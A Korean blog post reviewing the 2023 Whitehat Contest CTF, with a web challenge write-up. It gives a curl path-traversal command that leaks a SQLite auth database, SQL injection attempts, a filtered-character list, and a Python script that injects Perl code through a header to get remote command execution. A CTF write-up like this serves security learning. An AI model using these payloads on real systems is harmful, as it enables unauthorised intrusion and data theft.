One_Blog

2023 화이트햇콘테스트 후기 + Web 라이트업 본문

후기,라이트업

2023 화이트햇콘테스트 후기 + Web 라이트업

0xOne 2023. 9. 18. 15:11
728x90

이번에 본선 못갔으니 빨리 쓰고 넘기도록 하겠다.

 

이번에 웹이 C언어로 만들어진 서버랑 misskey라는 분산형 마이크로 서비스 (오픈소스)를 이용한 서버가

 

나왔는데, 솔직히 말해서 너무... 어려웠다.

 

일단 misskey의 경우 디렉토리 구조가 너무 더러워서 분석할 엄두가 안났고,

 

C언어 서버의 경우 IDA를 이용해서 분석해야 했다. (바이너리 파일을 줬다..)

 

솔직히 같은 취약점류에 PHP , Python, JS, JAVA였으면 풀었을 거 같은데 ...

 

아마 사람들도 C여서 못풀고 디렉토리 구조가 복잡해서 못풀었던 거 같다.

 

종합적으로 C서버는 1 solve, Miss key는 0 solve가 나왔다.

 

CTF 나와서 하나도 못 푼적은 처음이었다.

 

본선을 못갔으니 서론은 여기까지 하고, 바로 라이트업을 작성하도록 하겠다.

 

(출제자의 공식 라이트업에 의존하여 작성되었습니다.)

 

Web 1 - Vanitas

 

이 문제의 경우 C언어로 작성되었고, 웹 서버로 작성되었을 뿐 사실상

 

Pwnable에 조금 더 가까웠다고 생각한다. 

 

체이닝된 취약점이 (snprintf)Path Traversal + (Perl)Comand Injection 이었는데,

 

사실 웹 해커가 아닌 시스템 해커도 충분히 알고 이용 가능한 취약점 이었기에 Pwnable에 가까웠다고 생각한다.

 

일단 풀이를 이어가자면, 서버에는 간단하게 3가지의 엔드포인트가 구현되어 있었다.

 

Auth (사용자 인증)

manager (명령 전송)

diagnose (명령 실행)

cgi-bin (python, perl을 통한 서버 실행 확인)

 

Auth에서 사용자에게 아이디 패스워드를 입력받으면



그걸 id | Password 형태의 쿠키로 만들어서 서버에 전송하는 형태로 인증을 구현하고 있었다.

 

인증의 경우 다음과 같은 형식으로 이루어져 있었는데, DB는 sqlite3를 이용하고 

 

%q서식문자를 통해 SQL Injection 취약점을 방어하고 있었다.

 

난 처음에 ?로 안쓰고 %q로 썻길래 SQL Injection이 가능한 줄 알았고, 

 

sqlite_column_int != 1을 우회하기 위해 별 시도를 다했었다.

 

COUNT(*)이 쿼리문을 통해 가져오는 칼럼의 데이터 갯수를 가져오는 집계함수 였는데,

 

union을 쓰면 0이랑 1이 같이 나오게 되버려서 여러 방법을 시도했었다.

 

결국에 ' group by id union select '1 다음과 같은 페이로드를 pw에 넣어줌으로써

 

1(문자열 형태)를 반환하게 하는데 성공했고, 이걸로 안되길래 

 

' group by id union select 1 where 1='1 다음과 같은 페이로드를 통해

 

1(정수형)을 반환하게 하는데 성공했는데.. 자꾸 안되길래 뭐지 싶어서 봤더니

 

%q가 '나 ", \와 같은 특수문자로 escape하는 것을 방어해주고 있었다.

 

나중에 알고보니,

 

해당 부분에서 snprintf 함수를 활용해서 .html을 truncate 시킴으로써 상위 디렉토리 파일을 다운받을 수 있는

 

Path Traversal 취약점을 이용해 .db파일을 leak하는 것이었다.

 

curl http://52.78.31.14/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////../../.db/auth --path-as-is --output .db

다음과 같은 명령어를 통해 DB파일을 leak할 수 있었다.

 

snprintf함수를 보면 URL에서 프로토콜을 제외한 부분을 가져오고 그부분을 256만큼 잘라서

 

/html/manager/%s.html로 파일을 가져오고 있었는데,

 

이때 길이를 257로해서 전송하고 html/manager/ 을 ../../으로 탈출한 뒤

 

 

/auth엔드포인트로 요청을 전송해 .db파일을 leak하는 것이었다.

 

 

DB leak 성공

그리고 Leak한 정보를 바탕으로 로그인을 시도해보면,

 

로그인 시도

 

로그인 성공한 모습을 볼 수 있다.

 

그리고 여기서 

다음과 같이 인자값을 받아 ping을 실행해주기에 Command Injection 취약점이 터졌었는데,

 

필터링이 존재해서 그걸 우회해야했다.

 

'|' (124), ';' (59), '*' (42), '~' (126), '?' (63), '&' (38), '{' (123), '}' (125), '(' (40), ')' (41), '`' (96)

 

다음과 같은 문자들을 필터링 했는데..

 

사실상 일반적인 방법으로는 RCE가 불가능했다. 

 

이때 활용할 수 있는 게 있었는데,  Perl에서 :가 gotoLabel로 이용된다는 점을 활용해서

 

RCE를 노려볼 수 있었다.

 

(CVE-2019-11539)

 

위에 Command Injection 필터링에서 >는 막혀있지 않기에 이를 활용할 수 있었고,

 

import requests

TARGET = 'http://52.78.31.14'

response = requests.get(TARGET + '/en/diagnosis', headers = {
    'Cookie' : 'auth=vanitas_vanitatum_791e45a8|et_omnia_vanitas_8ec1ac9e',
    'X-Target' : '\\$x=\\"ls\\\\t-al\\",system\\$x# 2> cgi-bin/asdfasdjklfjklad.pl',
})
print(response.status_code)

response = requests.get(TARGET + '/cgi-bin/asdfasdjklfjklad.pl')
print(response.text)

다음과 같이 스크립트를 짜서 RCE를 할 수 있었다.

 

ls 명령어 성공

 

플래그 찾기
플래그 발견

 

플래그 출력 코드

플래그 leak!

다음과 같이 웹 1번을 풀 수 있었다.

 

너무 어려웠다..

 

Web 2 - MissKey

해당 문제의 경우 풀이가 다양하기 때문에 대강 접근 방법만 설명하고 끝내겠다.

 

CVE가 나와있는 MissKey 오픈소스의 SSRF 취약점을 이용해서 /flag를 읽으면 되는 문제였다.

 

아마 사람들도 접근법을 몰라서 못풀었던 것 같다.

 

번외로 문제 풀다가 0-day취약점이 발견됬다고 한다..

 

읽어주셔서 감사합니다!

 

내년엔 꼭.. 반드시 웹 올클 갑니다..